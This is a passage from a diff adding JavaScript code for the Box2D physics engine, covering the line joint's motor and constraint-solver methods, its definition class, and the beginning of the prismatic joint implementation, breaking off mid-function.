+Box2D.Dynamics.Joints.b2LineJoint.prototype.IsMotorEnabled = function() {
+ return this.m_enableMotor;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.EnableMotor = function(flag) {
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_enableMotor = flag;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.SetMotorSpeed = function(speed) {
+ if (speed === undefined) speed = 0;
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_motorSpeed = speed;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetMotorSpeed = function() {
+ return this.m_motorSpeed;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.SetMaxMotorForce = function(force) {
+ if (force === undefined) force = 0;
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_maxMotorForce = force;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetMaxMotorForce = function() {
+ return this.m_maxMotorForce;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetMotorForce = function() {
+ return this.m_motorImpulse;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.InitVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ var tX = 0;
+ this.m_localCenterA.SetV(bA.GetLocalCenter());
+ this.m_localCenterB.SetV(bB.GetLocalCenter());
+ var xf1 = bA.GetTransform();
+ var xf2 = bB.GetTransform();
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - this.m_localCenterA.x;
+ var r1Y = this.m_localAnchor1.y - this.m_localCenterA.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - this.m_localCenterB.x;
+ var r2Y = this.m_localAnchor2.y - this.m_localCenterB.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var dX = bB.m_sweep.c.x + r2X - bA.m_sweep.c.x - r1X;
+ var dY = bB.m_sweep.c.y + r2Y - bA.m_sweep.c.y - r1Y;
+ this.m_invMassA = bA.m_invMass;
+ this.m_invMassB = bB.m_invMass;
+ this.m_invIA = bA.m_invI;
+ this.m_invIB = bB.m_invI;
+ this.m_axis.SetV(Box2D.Common.Math.b2Math.MulMV(xf1.R, this.m_localXAxis1));
+ this.m_a1 = (dX + r1X) * this.m_axis.y - (dY + r1Y) * this.m_axis.x;
+ this.m_a2 = r2X * this.m_axis.y - r2Y * this.m_axis.x;
+ this.m_motorMass = this.m_invMassA + this.m_invMassB + this.m_invIA * this.m_a1 * this.m_a1 + this.m_invIB * this.m_a2 * this.m_a2;
+ this.m_motorMass = this.m_motorMass > Number.MIN_VALUE ? 1.0 / this.m_motorMass : 0.0;
+ this.m_perp.SetV(Box2D.Common.Math.b2Math.MulMV(xf1.R, this.m_localYAxis1));
+ this.m_s1 = (dX + r1X) * this.m_perp.y - (dY + r1Y) * this.m_perp.x;
+ this.m_s2 = r2X * this.m_perp.y - r2Y * this.m_perp.x;
+ var m1 = this.m_invMassA;
+ var m2 = this.m_invMassB;
+ var i1 = this.m_invIA;
+ var i2 = this.m_invIB;
+ this.m_K.col1.x = m1 + m2 + i1 * this.m_s1 * this.m_s1 + i2 * this.m_s2 * this.m_s2;
+ this.m_K.col1.y = i1 * this.m_s1 * this.m_a1 + i2 * this.m_s2 * this.m_a2;
+ this.m_K.col2.x = this.m_K.col1.y;
+ this.m_K.col2.y = m1 + m2 + i1 * this.m_a1 * this.m_a1 + i2 * this.m_a2 * this.m_a2;
+ if (this.m_enableLimit) {
+ var jointTransition = this.m_axis.x * dX + this.m_axis.y * dY;
+ if (Math.abs(this.m_upperTranslation - this.m_lowerTranslation) < 2.0 * Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_equalLimits;
+ } else if (jointTransition <= this.m_lowerTranslation) {
+ if (this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit) {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit;
+ this.m_impulse.y = 0.0;
+ }
+ } else if (jointTransition >= this.m_upperTranslation) {
+ if (this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit;
+ this.m_impulse.y = 0.0;
+ }
+ } else {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_impulse.y = 0.0;
+ }
+ } else {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ }
+ if (this.m_enableMotor == false) {
+ this.m_motorImpulse = 0.0;
+ }
+ if (step.warmStarting) {
+ this.m_impulse.x *= step.dtRatio;
+ this.m_impulse.y *= step.dtRatio;
+ this.m_motorImpulse *= step.dtRatio;
+ var PX = this.m_impulse.x * this.m_perp.x + (this.m_motorImpulse + this.m_impulse.y) * this.m_axis.x;
+ var PY = this.m_impulse.x * this.m_perp.y + (this.m_motorImpulse + this.m_impulse.y) * this.m_axis.y;
+ var L1 = this.m_impulse.x * this.m_s1 + (this.m_motorImpulse + this.m_impulse.y) * this.m_a1;
+ var L2 = this.m_impulse.x * this.m_s2 + (this.m_motorImpulse + this.m_impulse.y) * this.m_a2;
+ bA.m_linearVelocity.x -= this.m_invMassA * PX;
+ bA.m_linearVelocity.y -= this.m_invMassA * PY;
+ bA.m_angularVelocity -= this.m_invIA * L1;
+ bB.m_linearVelocity.x += this.m_invMassB * PX;
+ bB.m_linearVelocity.y += this.m_invMassB * PY;
+ bB.m_angularVelocity += this.m_invIB * L2;
+ } else {
+ this.m_impulse.SetZero();
+ this.m_motorImpulse = 0.0;
+ }
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.SolveVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var v1 = bA.m_linearVelocity;
+ var w1 = bA.m_angularVelocity;
+ var v2 = bB.m_linearVelocity;
+ var w2 = bB.m_angularVelocity;
+ var PX = 0;
+ var PY = 0;
+ var L1 = 0;
+ var L2 = 0;
+ if (this.m_enableMotor && this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_equalLimits) {
+ var Cdot = this.m_axis.x * (v2.x - v1.x) + this.m_axis.y * (v2.y - v1.y) + this.m_a2 * w2 - this.m_a1 * w1;
+ var impulse = this.m_motorMass * (this.m_motorSpeed - Cdot);
+ var oldImpulse = this.m_motorImpulse;
+ var maxImpulse = step.dt * this.m_maxMotorForce;
+ this.m_motorImpulse = Box2D.Common.Math.b2Math.Clamp(this.m_motorImpulse + impulse, (-maxImpulse), maxImpulse);
+ impulse = this.m_motorImpulse - oldImpulse;
+ PX = impulse * this.m_axis.x;
+ PY = impulse * this.m_axis.y;
+ L1 = impulse * this.m_a1;
+ L2 = impulse * this.m_a2;
+ v1.x -= this.m_invMassA * PX;
+ v1.y -= this.m_invMassA * PY;
+ w1 -= this.m_invIA * L1;
+ v2.x += this.m_invMassB * PX;
+ v2.y += this.m_invMassB * PY;
+ w2 += this.m_invIB * L2;
+ }
+ var Cdot1 = this.m_perp.x * (v2.x - v1.x) + this.m_perp.y * (v2.y - v1.y) + this.m_s2 * w2 - this.m_s1 * w1;
+ if (this.m_enableLimit && this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit) {
+ var Cdot2 = this.m_axis.x * (v2.x - v1.x) + this.m_axis.y * (v2.y - v1.y) + this.m_a2 * w2 - this.m_a1 * w1;
+ var f1 = this.m_impulse.Copy();
+ var df = this.m_K.Solve(Box2D.Common.Math.b2Vec2.Get(0, 0), (-Cdot1), (-Cdot2));
+ this.m_impulse.Add(df);
+ if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit) {
+ this.m_impulse.y = Math.max(this.m_impulse.y, 0.0);
+ } else if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ this.m_impulse.y = Math.min(this.m_impulse.y, 0.0);
+ }
+ var b = (-Cdot1) - (this.m_impulse.y - f1.y) * this.m_K.col2.x;
+ var f2r = 0;
+ if (this.m_K.col1.x != 0.0) {
+ f2r = b / this.m_K.col1.x + f1.x;
+ } else {
+ f2r = f1.x;
+ }
+ this.m_impulse.x = f2r;
+ df.x = this.m_impulse.x - f1.x;
+ df.y = this.m_impulse.y - f1.y;
+ PX = df.x * this.m_perp.x + df.y * this.m_axis.x;
+ PY = df.x * this.m_perp.y + df.y * this.m_axis.y;
+ L1 = df.x * this.m_s1 + df.y * this.m_a1;
+ L2 = df.x * this.m_s2 + df.y * this.m_a2;
+ v1.x -= this.m_invMassA * PX;
+ v1.y -= this.m_invMassA * PY;
+ w1 -= this.m_invIA * L1;
+ v2.x += this.m_invMassB * PX;
+ v2.y += this.m_invMassB * PY;
+ w2 += this.m_invIB * L2;
+ } else {
+ var df2 = 0;
+ if (this.m_K.col1.x != 0.0) {
+ df2 = ((-Cdot1)) / this.m_K.col1.x;
+ } else {
+ df2 = 0.0;
+ }
+ this.m_impulse.x += df2;
+ PX = df2 * this.m_perp.x;
+ PY = df2 * this.m_perp.y;
+ L1 = df2 * this.m_s1;
+ L2 = df2 * this.m_s2;
+ v1.x -= this.m_invMassA * PX;
+ v1.y -= this.m_invMassA * PY;
+ w1 -= this.m_invIA * L1;
+ v2.x += this.m_invMassB * PX;
+ v2.y += this.m_invMassB * PY;
+ w2 += this.m_invIB * L2;
+ }
+ bA.m_linearVelocity.SetV(v1);
+ bA.m_angularVelocity = w1;
+ bB.m_linearVelocity.SetV(v2);
+ bB.m_angularVelocity = w2;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var limitC = 0;
+ var oldLimitImpulse = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var c1 = bA.m_sweep.c;
+ var a1 = bA.m_sweep.a;
+ var c2 = bB.m_sweep.c;
+ var a2 = bB.m_sweep.a;
+ var tMat;
+ var tX = 0;
+ var m1 = 0;
+ var m2 = 0;
+ var i1 = 0;
+ var i2 = 0;
+ var linearError = 0.0;
+ var angularError = 0.0;
+ var active = false;
+ var C2 = 0.0;
+ var R1 = Box2D.Common.Math.b2Mat22.FromAngle(a1);
+ var R2 = Box2D.Common.Math.b2Mat22.FromAngle(a2);
+ tMat = R1;
+ var r1X = this.m_localAnchor1.x - this.m_localCenterA.x;
+ var r1Y = this.m_localAnchor1.y - this.m_localCenterA.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = R2;
+ var r2X = this.m_localAnchor2.x - this.m_localCenterB.x;
+ var r2Y = this.m_localAnchor2.y - this.m_localCenterB.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var dX = c2.x + r2X - c1.x - r1X;
+ var dY = c2.y + r2Y - c1.y - r1Y;
+ if (this.m_enableLimit) {
+ this.m_axis = Box2D.Common.Math.b2Math.MulMV(R1, this.m_localXAxis1);
+ this.m_a1 = (dX + r1X) * this.m_axis.y - (dY + r1Y) * this.m_axis.x;
+ this.m_a2 = r2X * this.m_axis.y - r2Y * this.m_axis.x;
+ var translation = this.m_axis.x * dX + this.m_axis.y * dY;
+ if (Math.abs(this.m_upperTranslation - this.m_lowerTranslation) < 2.0 * Box2D.Common.b2Settings.b2_linearSlop) {
+ C2 = Box2D.Common.Math.b2Math.Clamp(translation, (-Box2D.Common.b2Settings.b2_maxLinearCorrection), Box2D.Common.b2Settings.b2_maxLinearCorrection);
+ linearError = Math.abs(translation);
+ active = true;
+ } else if (translation <= this.m_lowerTranslation) {
+ C2 = Box2D.Common.Math.b2Math.Clamp(translation - this.m_lowerTranslation + Box2D.Common.b2Settings.b2_linearSlop, (-Box2D.Common.b2Settings.b2_maxLinearCorrection), 0.0);
+ linearError = this.m_lowerTranslation - translation;
+ active = true;
+ } else if (translation >= this.m_upperTranslation) {
+ C2 = Box2D.Common.Math.b2Math.Clamp(translation - this.m_upperTranslation + Box2D.Common.b2Settings.b2_linearSlop, 0.0, Box2D.Common.b2Settings.b2_maxLinearCorrection);
+ linearError = translation - this.m_upperTranslation;
+ active = true;
+ }
+ }
+ this.m_perp = Box2D.Common.Math.b2Math.MulMV(R1, this.m_localYAxis1);
+ this.m_s1 = (dX + r1X) * this.m_perp.y - (dY + r1Y) * this.m_perp.x;
+ this.m_s2 = r2X * this.m_perp.y - r2Y * this.m_perp.x;
+ var impulse = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ var C1 = this.m_perp.x * dX + this.m_perp.y * dY;
+ linearError = Math.max(linearError, Math.abs(C1));
+ angularError = 0.0;
+ if (active) {
+ m1 = this.m_invMassA;
+ m2 = this.m_invMassB;
+ i1 = this.m_invIA;
+ i2 = this.m_invIB;
+ this.m_K.col1.x = m1 + m2 + i1 * this.m_s1 * this.m_s1 + i2 * this.m_s2 * this.m_s2;
+ this.m_K.col1.y = i1 * this.m_s1 * this.m_a1 + i2 * this.m_s2 * this.m_a2;
+ this.m_K.col2.x = this.m_K.col1.y;
+ this.m_K.col2.y = m1 + m2 + i1 * this.m_a1 * this.m_a1 + i2 * this.m_a2 * this.m_a2;
+ this.m_K.Solve(impulse, (-C1), (-C2));
+ } else {
+ m1 = this.m_invMassA;
+ m2 = this.m_invMassB;
+ i1 = this.m_invIA;
+ i2 = this.m_invIB;
+ var k11 = m1 + m2 + i1 * this.m_s1 * this.m_s1 + i2 * this.m_s2 * this.m_s2;
+ var impulse1 = 0;
+ if (k11 != 0.0) {
+ impulse1 = ((-C1)) / k11;
+ } else {
+ impulse1 = 0.0;
+ }
+ impulse.x = impulse1;
+ impulse.y = 0.0;
+ }
+ var PX = impulse.x * this.m_perp.x + impulse.y * this.m_axis.x;
+ var PY = impulse.x * this.m_perp.y + impulse.y * this.m_axis.y;
+ var L1 = impulse.x * this.m_s1 + impulse.y * this.m_a1;
+ var L2 = impulse.x * this.m_s2 + impulse.y * this.m_a2;
+ c1.x -= this.m_invMassA * PX;
+ c1.y -= this.m_invMassA * PY;
+ a1 -= this.m_invIA * L1;
+ c2.x += this.m_invMassB * PX;
+ c2.y += this.m_invMassB * PY;
+ a2 += this.m_invIB * L2;
+ bA.m_sweep.a = a1;
+ bB.m_sweep.a = a2;
+ bA.SynchronizeTransform();
+ bB.SynchronizeTransform();
+ return linearError <= Box2D.Common.b2Settings.b2_linearSlop && angularError <= Box2D.Common.b2Settings.b2_angularSlop;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+Box2D.Dynamics.Joints.b2LineJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAxisA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_lineJoint;
+ this.localAxisA.Set(1.0, 0.0);
+ this.enableLimit = false;
+ this.lowerTranslation = 0.0;
+ this.upperTranslation = 0.0;
+ this.enableMotor = false;
+ this.maxMotorForce = 0.0;
+ this.motorSpeed = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2LineJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2LineJointDef.prototype.Initialize = function(bA, bB, anchor, axis) {
+ this.bodyA = bA;
+ this.bodyB = bB;
+ this.localAnchorA = this.bodyA.GetLocalPoint(anchor);
+ this.localAnchorB = this.bodyB.GetLocalPoint(anchor);
+ this.localAxisA = this.bodyA.GetLocalVector(axis);
+};
+Box2D.Dynamics.Joints.b2LineJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2LineJoint(this);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2PrismaticJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2PrismaticJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.m_localAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localXAxis1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localYAxis1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_axis = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_perp = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_K = new Box2D.Common.Math.b2Mat33();
+ this.m_impulse = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ this.m_localAnchor1.SetV(def.localAnchorA);
+ this.m_localAnchor2.SetV(def.localAnchorB);
+ this.m_localXAxis1.SetV(def.localAxisA);
+ this.m_localYAxis1.x = (-this.m_localXAxis1.y);
+ this.m_localYAxis1.y = this.m_localXAxis1.x;
+ this.m_refAngle = def.referenceAngle;
+ this.m_impulse.SetZero();
+ this.m_motorMass = 0.0;
+ this.m_motorImpulse = 0.0;
+ this.m_lowerTranslation = def.lowerTranslation;
+ this.m_upperTranslation = def.upperTranslation;
+ this.m_maxMotorForce = def.maxMotorForce;
+ this.m_motorSpeed = def.motorSpeed;
+ this.m_enableLimit = def.enableLimit;
+ this.m_enableMotor = def.enableMotor;
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_axis.SetZero();
+ this.m_perp.SetZero();
+};
+c2inherit(Box2D.Dynamics.Joints.b2PrismaticJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchor1);
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchor2);
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetReactionForce = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return Box2D.Common.Math.b2Vec2.Get(inv_dt * (this.m_impulse.x * this.m_perp.x + (this.m_motorImpulse + this.m_impulse.z) * this.m_axis.x), inv_dt * (this.m_impulse.x * this.m_perp.y + (this.m_motorImpulse + this.m_impulse.z) * this.m_axis.y));
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetReactionTorque = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return inv_dt * this.m_impulse.y;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetJointTranslation = function() {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ var p1 = bA.GetWorldPoint(this.m_localAnchor1);
+ var p2 = bB.GetWorldPoint(this.m_localAnchor2);
+ var dX = p2.x - p1.x;
+ var dY = p2.y - p1.y;
+ var axis = bA.GetWorldVector(this.m_localXAxis1);
+ var translation = axis.x * dX + axis.y * dY;
+ return translation;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetJointSpeed = function() {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ var tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var p1X = bA.m_sweep.c.x + r1X;
+ var p1Y = bA.m_sweep.c.y + r1Y;
+ var p2X = bB.m_sweep.c.x + r2X;
+ var p2Y = bB.m_sweep.c.y + r2Y;
+ var dX = p2X - p1X;
+ var dY = p2Y - p1Y;
+ var axis = bA.GetWorldVector(this.m_localXAxis1);
+ var v1 = bA.m_linearVelocity;
+ var v2 = bB.m_linearVelocity;
+ var w1 = bA.m_angularVelocity;
+ var w2 = bB.m_angularVelocity;
+ var speed = (dX * ((-w1 * axis.y)) + dY * (w1 * axis.x)) + (axis.x * (((v2.x + ((-w2 * r2Y))) - v1.x) - ((-w1 * r1Y))) + axis.y * (((v2.y + (w2 * r2X)) - v1.y) - (w1 * r1X)));
+ return speed;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.IsLimitEnabled = function() {
+ return this.m_enableLimit;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.EnableLimit = function(flag) {
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_enableLimit = flag;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetLowerLimit = function() {
+ return this.m_lowerTranslation;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetUpperLimit = function() {
+ return this.m_upperTranslation;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.SetLimits = function(lower, upper) {
+ if (lower === undefined) lower = 0;
+ if (upper === undefined) upper = 0;
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_lowerTranslation = lower;
+ this.m_upperTranslation = upper;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.IsMotorEnabled = function() {
+ return this.m_enableMotor;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.EnableMotor = function(flag) {
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_enableMotor = flag;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.SetMotorSpeed = function(speed) {
+ if (speed === undefined) speed = 0;
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_motorSpeed = speed;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetMotorSpeed = function() {
+ return this.m_motorSpeed;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.SetMaxMotorForce = function(force) {
+ if (force === undefined) force = 0;
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_maxMotorForce = force;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.GetMotorForce = function() {
+ return this.m_motorImpulse;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.InitVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ var tX = 0;
+ this.m_localCenterA.SetV(bA.GetLocalCenter());
+ this.m_localCenterB.SetV(bB.GetLocalCenter());
+ var xf1 = bA.GetTransform();
+ var xf2 = bB.GetTransform();
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - this.m_localCenterA.x;
+ var r1Y = this.m_localAnchor1.y - this.m_localCenterA.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - this.m_localCenterB.x;
+ var r2Y = this.m_localAnchor2.y - this.m_localCenterB.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var dX = bB.m_sweep.c.x + r2X - bA.m_sweep.c.x - r1X;
+ var dY = bB.m_sweep.c.y + r2Y - bA.m_sweep.c.y - r1Y;
+ this.m_invMassA = bA.m_invMass;
+ this.m_invMassB = bB.m_invMass;
+ this.m_invIA = bA.m_invI;
+ this.m_invIB = bB.m_invI;
+ this.m_axis.SetV(Box2D.Common.Math.b2Math.MulMV(xf1.R, this.m_localXAxis1));
+ this.m_a1 = (dX + r1X) * this.m_axis.y - (dY + r1Y) * this.m_axis.x;
+ this.m_a2 = r2X * this.m_axis.y - r2Y * this.m_axis.x;
+ this.m_motorMass = this.m_invMassA + this.m_invMassB + this.m_invIA * this.m_a1 * this.m_a1 + this.m_invIB * this.m_a2 * this.m_a2;
+ if (this.m_motorMass > Number.MIN_VALUE) this.m_motorMass = 1.0 / this.m_motorMass;
+ this.m_perp.SetV(Box2D.Common.Math.b2Math.MulMV(xf1.R, this.m_localYAxis1));
+ this.m_s1 = (dX + r1X) * this.m_perp.y - (dY + r1Y) * this.m_perp.x;
+ this.m_s2 = r2X * this.m_perp.y - r2Y * this.m_perp.x;
+ var m1 = this.m_invMassA;
+ var m2 = this.m_invMassB;
+ var i1 = this.m_invIA;
+ var i2 = this.m_invIB;
+ this.m_K.col1.x = m1 + m2 + i1 * this.m_s1 * this.m_s1 + i2 * this.m_s2 * this.m_s2;
+ this.m_K.col1.y = i1 * this.m_s1 + i2 * this.m_s2;
+ this.m_K.col1.z = i1 * this.m_s1 * this.m_a1 + i2 * this.m_s2 * this.m_a2;
+ this.m_K.col2.x = this.m_K.col1.y;
+ this.m_K.col2.y = i1 + i2;
+ this.m_K.col2.z = i1 * this.m_a1 + i2 * this.m_a2;
+ this.m_K.col3.x = this.m_K.col1.z;
+ this.m_K.col3.y = this.m_K.col2.z;
+ this.m_K.col3.z = m1 + m2 + i1 * this.m_a1 * this.m_a1 + i2 * this.m_a2 * this.m_a2;
+ if (this.m_enableLimit) {
+ var jointTransition = this.m_axis.x * dX + this.m_axis.y * dY;
+ if (Math.abs(this.m_upperTranslation - this.m_lowerTranslation) < 2.0 * Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_equalLimits;
+ } else if (jointTransition <= this.m_lowerTranslation) {
+ if (this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit) {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit;
+ this.m_impulse.z = 0.0;
+ }
+ } else if (jointTransition >= this.m_upperTranslation) {
+ if (this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit;
+ this.m_impulse.z = 0.0;
+ }
+ } else {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_impulse.z = 0.0;
+ }
+ } else {
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ }
+ if (this.m_enableMotor == false) {
+ this.m_motorImpulse = 0.0;
+ }
+ if (step.warmStarting) {
+ this.m_impulse.x *= step.dtRatio;
+ this.m_impulse.y *= step.dtRatio;
+ this.m_motorImpulse *= step.dtRatio;
+ var PX = this.m_impulse.x * this.m_perp.x + (this.m_motorImpulse + this.m_impulse.z) * this.m_axis.x;
+ var PY = this.m_impulse.x * this.m_perp.y + (this.m_motorImpulse + this.m_impulse.z) * this.m_axis.y;
+ var L1 = this.m_impulse.x * this.m_s1 + this.m_impulse.y + (this.m_motorImpulse + this.m_impulse.z) * this.m_a1;
+ var L2 = this.m_impulse.x * this.m_s2 + this.m_impulse.y + (this.m_motorImpulse + this.m_impulse.z) * this.m_a2;
+ bA.m_linearVelocity.x -= this.m_invMassA * PX;
+ bA.m_linearVelocity.y -= this.m_invMassA * PY;
+ bA.m_angularVelocity -= this.m_invIA * L1;
+ bB.m_linearVelocity.x += this.m_invMassB * PX;
+ bB.m_linearVelocity.y += this.m_invMassB * PY;
+ bB.m_angularVelocity += this.m_invIB * L2;
+ } else {
+ this.m_impulse.SetZero();
+ this.m_motorImpulse = 0.0;
+ }
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.SolveVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var v1 = bA.m_linearVelocity;
+ var w1 = bA.m_angularVelocity;
+ var v2 = bB.m_linearVelocity;
+ var w2 = bB.m_angularVelocity;
+ var PX = 0;
+ var PY = 0;
+ var L1 = 0;
+ var L2 = 0;
+ if (this.m_enableMotor && this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_equalLimits) {
+ var Cdot = this.m_axis.x * (v2.x - v1.x) + this.m_axis.y * (v2.y - v1.y) + this.m_a2 * w2 - this.m_a1 * w1;
+ var impulse = this.m_motorMass * (this.m_motorSpeed - Cdot);
+ var oldImpulse = this.m_motorImpulse;
+ var maxImpulse = step.dt * this.m_maxMotorForce;
+ this.m_motorImpulse = Box2D.Common.Math.b2Math.Clamp(this.m_motorImpulse + impulse, (-maxImpulse), maxImpulse);
+ impulse = this.m_motorImpulse - oldImpulse;
+ PX = impulse * this.m_axis.x;
+ PY = impulse * this.m_axis.y;
+ L1 = impulse * this.m_a1;
+ L2 = impulse * this.m_a2;
+ v1.x -= this.m_invMassA * PX;
+ v1.y -= this.m_invMassA * PY;
+ w1 -= this.m_invIA * L1;
